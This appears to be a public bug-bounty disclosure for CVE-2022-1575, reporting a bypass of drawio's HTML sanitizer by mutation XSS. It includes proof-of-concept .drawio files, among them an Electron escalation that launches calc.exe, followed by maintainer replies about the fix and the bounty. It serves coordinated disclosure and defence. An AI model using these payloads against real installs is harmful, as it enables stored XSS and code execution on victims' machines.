Arbitrary Code Execution through Sanitizer Bypass in jgraph/drawio

6

Valid Reported on May 1st 2022

Description

The sanitizer function of the drawio core library which is responsible to sanitize various parts of a diagram of potentially dangerous HTML/JavaScript code can be bypassed. It is vulnerable to mutation XSS payloads, which allows escaping from the sanitizer. This allows arbitrary code execution in the desktop app and stored XSS in the web app.
The sanitizer is based on the Caja sanitizer, which was discontinued some time ago and will not receive updates any more.
https://github.com/jgraph/drawio/blob/v17.4.3/src/main/webapp/js/grapheditor/Graph.js#L1668-L1686

```
Graph.sanitizeHtml = function(value, editing)
{
    // Uses https://code.google.com/p/google-caja/wiki/JsHtmlSanitizer
    // NOTE: Original minimized sanitizer was modified to support
    // data URIs for images, mailto and special data:-links.
    // LATER: Add MathML to whitelisted tags
    function urlX(link)
    {
        if (link != null && link.toString().toLowerCase().substring(0, 11)
        {
            return link;
        }

        return null;
    };
    function idX(id) { return id };

    return html_sanitize(value, urlX, idX);
};
```

For example the following payload will not get sanitized correctly and allows injecting JavaScript code:

```
<select><iframe></select><img src=x onerror=alert(1)>
```

Basically anthing after the `<select><iframe></select>` will not get sanitized and can be injected.
Since this sanitizer function is used in many different places, the vulnerability could be abused through several injection points in diagram files.

Proof of Concept

The following file will execute `alert()` when opened in draw.io. The payload is located in the `label` attribute of the `UserObject` element. To reproduce save it as a `.drawio` file, then open it.

```
<mxfile host="Electron" modified="2022-05-01T12:59:04.467Z" agent="5.0 (Wir
  <diagram id="_Y4cO9PIdA5klW6TnyFV" name="Page-1">
    <mxGraphModel dx="1102" dy="714" grid="1" gridSize="10" guides="1" tool
      <root>
        <mxCell id="0" />
        <mxCell id="1" parent="0" />
        <UserObject label="&lt;select>&lt;iframe>&lt;/select>&lt;img src=x
          <mxCell style="rounded=0;whiteSpace=wrap;html=1;" vertex="1" pare
            <mxGeometry x="150" y="170" width="90" height="40" as="geometry
          </mxCell>
        </UserObject>
      </root>
    </mxGraphModel>
  </diagram>
</mxfile>
```

This can be further escalated to get arbitrary code execution when opened v
app. By executing the payload below we can abuse the functionality exposed
process and get access to Node.js functions. It can be achieved by writing a JavaScript file to

the resource directory of the app and later using it as preload script when opening a new Electron `BrowserWindow` with modified settings. In this example `calc.exe` (Windows calculator) is spawned.

```
electron.request({action: 'writeFile', path: decodeURIComponent(location.pa
electron.sendMessage('newfile', {width: 100, height: 100, webPreferences: {
```

Full PoC: Save the following content as a `.drawio` -file, then open it in the desktop app:

```
<mxfile host="Electron" modified="2022-05-01T12:59:04.467Z" agent="5.0 (Wir
  <diagram id="_Y4cO9PIdA5klW6TnyFV" name="Page-1">
    <mxGraphModel dx="1102" dy="714" grid="1" gridSize="10" guides="1" tool
      <root>
        <mxCell id="0" />
        <mxCell id="1" parent="0" />
        <UserObject label="&lt;select>&lt;iframe>&lt;/select>&lt;img src=x
electron.sendMessage('newfile', {width: 100, height: 100, webPreferences: {
          <mxCell style="rounded=0;whiteSpace=wrap;html=1;" vertex="1" pare
            <mxGeometry x="150" y="170" width="90" height="40" as="geometry
          </mxCell>
        </UserObject>
      </root>
    </mxGraphModel>
  </diagram>
</mxfile>
```

Impact

Arbitrary (remote) code execution in the desktop app.
Stored XSS in the web app.

Occurrences

JS Graph.js L1668-L1686

References

References

- Caja sanitizer bypass PoC

CVE
CVE-2022-1575
(Published)

Vulnerability Type
CWE-94: Code Injection

Severity
Critical (9.6)

Registry
Other

Affected Version
<= 17.4.3

Visibility
Public

Status
Fixed

Found by

Tobias S. Fink
@7085
legend

This report was seen 1,772 times.

We are processing your report and will contact the **jgraph/drawio** team within 24 hours.
7 months ago

We have contacted a member of the **jgraph/drawio** team and are waiting to hear back
7 months ago

David Benson validated this vulnerability 7 months ago

Tobias S. Fink has been awarded the disclosure bounty ✅

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

David Benson 7 months ago Maintainer

Thanks for the report. We've fixed this in the core 18.0.0 release by switching out Caja to DOMpurify.

The desktop build of 18.0.0 also went out including the core build fix.

David Benson marked this as fixed in 18.0.0 with commit f768ed 7 months ago

The fix bounty has been dropped ✗

This vulnerability will not receive a CVE ✗

Graph.js#L1668-L1686 has been validated ✓

David Benson 7 months ago Maintainer

Our project pays a somewhat higher amount for a critical disclosure. I'm talking to huntr in the week about the funding process, we'll either make the payment to you via them or direct if that's not possible.

Tobias S. Fink 7 months ago Researcher

That sounds great and would be very nice, thank you.

David Benson 6 months ago Maintainer

The increase to the bounty payment will come from Huntr, once our org is onboarded onto the ir systems.

Jamie Slome 6 months ago Admin

Hello all 👋

The researcher bounty has now been increased from $205 to $2000.

Congratulations @7085 🤝

Tobias S. Fink 6 months ago Researcher

Wow, thank you very much.

Tobias S. Fink 6 months ago Researcher

Hi @maintainer / @davidjgraph , I wanted to ask if I find a vulnerability that **only** affects the desktop app, should it be reported for the jgraph/drawio-desktop repository or for the main repository jgraph/drawio ? Since basically the code for the desktop app is contained in the main repository I'm not sure.

David Benson 6 months ago Maintainer

If it's desktop specific drawio-desktop would be better. The vast majority of the desktop app is drawio (the editor) which is a git submodule. The reason we have desktop as its own app is it's electron based and this increases the attack surface, often with vulnerability chains.

Tobias S. Fink 6 months ago Researcher

Ok I tried submitting to drawio-desktop, but the submission form required me to mark the occurences in the same repository.
So it was not possible to submit the report if the repository in the link of the affected code differed from the repository of the report.

Maybe an @admin can change it (b242e806-fc8c-41c0-aad7-e0c9c37ecdee).

David Benson 6 months ago Maintainer

Yeah, no worries, as long as the reproduction case explains the environment fully it's good.

Sign in to join this conversation

Chat with us